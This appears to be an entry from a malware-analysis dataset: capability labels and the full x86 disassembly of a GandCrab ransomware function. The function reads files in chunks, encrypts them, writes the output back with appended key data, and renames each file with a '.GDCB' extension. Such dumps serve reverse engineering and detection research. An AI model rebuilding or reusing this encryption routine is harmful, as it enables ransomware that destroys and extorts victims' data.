Function at 0x100035e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push ebx
push esi
mov ebx, ecx
mov esi, edx
push edi
push ebx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
and eax, 0xfffffffe
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x10], 0
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x1c], 0
push eax
push 0
push 0
mov ecx, esi
call fcn.100063d0
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push 0x40
push 0x3000
push 0x401
push 0
call esi
mov edi, eax
mov dword [ebp - 0x4c], 0x47002e
push ebx
push edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x48], 0x430044
mov dword [ebp - 0x44], 0x42
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x4c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
movdqa xmm0, xmmword [str.GandCrabGandCrabnomoreransom.coinomoreransom.bit]
mov edx, 0x10
movdqu xmmword [ebp - 0x88], xmm0
push ecx
movdqa xmm0, xmmword [str.GandCrabGandCrabnomoreransom.coinomoreransom.bit]
lea ecx, [ebp - 0x64]
movdqu xmmword [ebp - 0x78], xmm0
mov byte [ebp - 0x68], 0
movdqa xmm0, xmmword [str.GandCrabGandCrabnomoreransom.coinomoreransom.bit]
movdqu xmmword [ebp - 0x64], xmm0
call fcn.100082a0
mov edx, 0x20
lea ecx, [ebp - 0x88]
call fcn.100082a0
add esp, 4
push 4
push 0x3000
push 0x800
push 0
call esi
movdqu xmm0, xmmword [ebp - 0x88]
mov ebx, eax
push 4
push 0x3000
push 0x800
movdqu xmmword [ebx], xmm0
push 0
movdqu xmm0, xmmword [ebp - 0x78]
mov dword [ebp - 0x14], ebx
movdqu xmmword [ebx + 0x10], xmm0
call esi
movdqu xmm0, xmmword [ebp - 0x64]
mov edi, eax
lea eax, [ebp - 0x54]
push 0x800
push eax
mov dword [ebp - 0x38], edi
movdqu xmmword [edi], xmm0
mov dword [ebp - 0x54], 0x20
mov dword [ebp - 0x50], 0x10
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.10006530
add esp, 0x14
test eax, eax
jne 0x10003757
push 0x10
push str.Fatal_error
push str.Fatal_error:_rsaenh.dll_is_not_initialized_as_well
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualFree]
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
jmp 0x100039d8
push 0x800
lea eax, [ebp - 0x50]
push eax
push edi
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.10006530
add esp, 0x14
test eax, eax
jne 0x10003792
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualFree]
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
jmp 0x100039d8
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.100083c0
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
mov dword [ebp - 0x18], ebx
cmp ebx, 0xffffffff
jne 0x100037fc
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x8000
push 0
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x14]
call esi
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
jmp 0x100039d8
push 4
push 0x3000
push 8
push 0
call esi
push 4
mov edi, eax
push 0x3000
push 0x100001
push 0
mov dword [edi], 0
mov dword [edi + 4], 0
call esi
xor esi, esi
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], esi
jmp 0x10003835
mov eax, dword [ebp - 8]
push 0
lea ecx, [ebp - 4]
push ecx
push 0x100000
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x10003940
mov eax, dword [ebp - 4]
test eax, eax
je 0x10003940
xor ebx, ebx
mov ecx, 1
cmp eax, 0x100000
mov dword [ebp - 0x3c], ebx
cmovb esi, ecx
add dword [edi], eax
adc dword [edi + 4], ebx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2c], eax
test al, 0xf
je 0x10003888
lea esp, [esp]
inc eax
test al, 0xf
jne 0x10003880
mov dword [ebp - 4], eax
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
push dword [ebp - 8]
push eax
call fcn.100089c0
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [ebp - 0x24], eax
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
test eax, eax
je 0x100038e5
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x40]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10003500
mov ebx, dword [ebp - 0x3c]
add esp, 0x10
push 0x8000
push 0
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, dword [ebp - 0x2c]
push 1
push 0
neg eax
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x10003927
mov esi, 1
mov dword [ebp - 0x20], esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov ebx, dword [ebp - 0x18]
test esi, esi
je 0x10003832
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x8000
push 0
push dword [ebp - 8]
call esi
cmp dword [ebp - 0x20], 0
jne 0x10003992
push 0
lea eax, [ebp - 0xc]
push eax
push 0x100
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x100
push dword [ebp - 0x38]
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x10
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [edi]
mov ebx, dword [edi + 4]
push 0x8000
push 0
push edi
mov dword [ebp - 0x24], eax
call esi
push 0x8000
push 0
push dword [ebp - 0x14]
call esi
push 0x8000
push 0
push dword [ebp - 0x38]
call esi
cmp dword [ebp - 0x20], 0
jne 0x100039d5
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov edi, dword [ebp - 0x24]
push 0x8000
push 0
push dword [ebp - 0x34]
call esi
mov eax, edi
mov edx, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret